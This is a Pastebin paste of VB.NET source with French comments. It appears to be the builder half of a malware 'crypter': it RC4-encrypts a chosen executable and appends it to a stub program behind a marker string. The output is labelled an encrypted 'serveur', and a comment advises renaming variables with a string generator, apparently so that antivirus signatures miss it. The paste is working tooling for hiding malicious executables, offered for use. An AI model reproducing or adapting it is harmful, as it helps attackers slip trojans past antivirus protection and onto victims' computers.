Advertisement
Guest User

Code CLIENT

a guest
Oct 26th, 2016
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.56 KB | None | 0 0
  1. 'Tu peut modif tout les le mot qui son aprés les Dim en utilisent le generateur de string fourni :)
  2. Imports System.Text
  3. Public Class main
  4. Const dCrypt = "STRING ICI"
  5. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6. Dim ofd As New OpenFileDialog
  7. ofd.Title = "Ouvrir."
  8. ofd.Filter = "Executable|(*.exe)|*.exe"
  9. If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then
  10. TextBox1.Text = ofd.FileName
  11. Else : Exit Sub
  12. End If
  13. End Sub
  14. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  15. Try
  16. Dim var1, var2, stub As String
  17. Dim sfd As New SaveFileDialog
  18. sfd.Title = "Enregistre."
  19. sfd.Filter = "Executable|(*.exe)|*.exe"
  20. If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
  21. var2 = sfd.FileName
  22. Else : Exit Sub
  23. End If
  24. FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  25. var1 = Space(LOF(1))
  26. FileGet(1, var1)
  27. FileClose(1)
  28. FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  29. stub = Space(LOF(1))
  30. FileGet(1, stub)
  31. FileClose(1)
  32. FileOpen(1, var2, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  33. FilePut(1, stub & dCrypt & rc4(var1, "UN 2EME STRING"))
  34. FileClose(1)
  35. MsgBox("Serveur crypter.", MsgBoxStyle.Information+vbokonly,"Succes")
  36. Catch ex As Exception
  37. MsgBox("erreur esseil une nouvelle fois.", MsgBoxStyle.Critical + vbokonly,"Erreur")
  38. End Try
  39. End Sub
  40. Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
  41. Dim i As Integer = 0
  42. Dim j As Integer = 0
  43. Dim cipher As New StringBuilder
  44. Dim returnCipher As String = String.Empty
  45. Dim sbox As Integer() = New Integer(256) {}
  46. Dim key As Integer() = New Integer(256) {}
  47. Dim intLength As Integer = password.Length
  48. Dim a As Integer = 0
  49. While a <= 255
  50. Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
  51. key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
  52. sbox(a) = a
  53. System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  54. End While
  55. Dim x As Integer = 0
  56. Dim b As Integer = 0
  57. While b <= 255
  58. x = (x + sbox(b) + key(b)) Mod 256
  59. Dim tempSwap As Integer = sbox(b)
  60. sbox(b) = sbox(x)
  61. sbox(x) = tempSwap
  62. System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
  63. End While
  64. a = 1
  65. While a <= message.Length
  66. Dim itmp As Integer = 0
  67. i = (i + 1) Mod 256
  68. j = (j + sbox(i)) Mod 256
  69. itmp = sbox(i)
  70. sbox(i) = sbox(j)
  71. sbox(j) = itmp
  72. Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
  73. Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
  74. itmp = Asc(ctmp)
  75. Dim cipherby As Integer = itmp Xor k
  76. cipher.Append(Chr(cipherby))
  77. System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  78. End While
  79. returnCipher = cipher.ToString
  80. cipher.Length = 0
  81. Return returnCipher
  82. End Function
  83. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement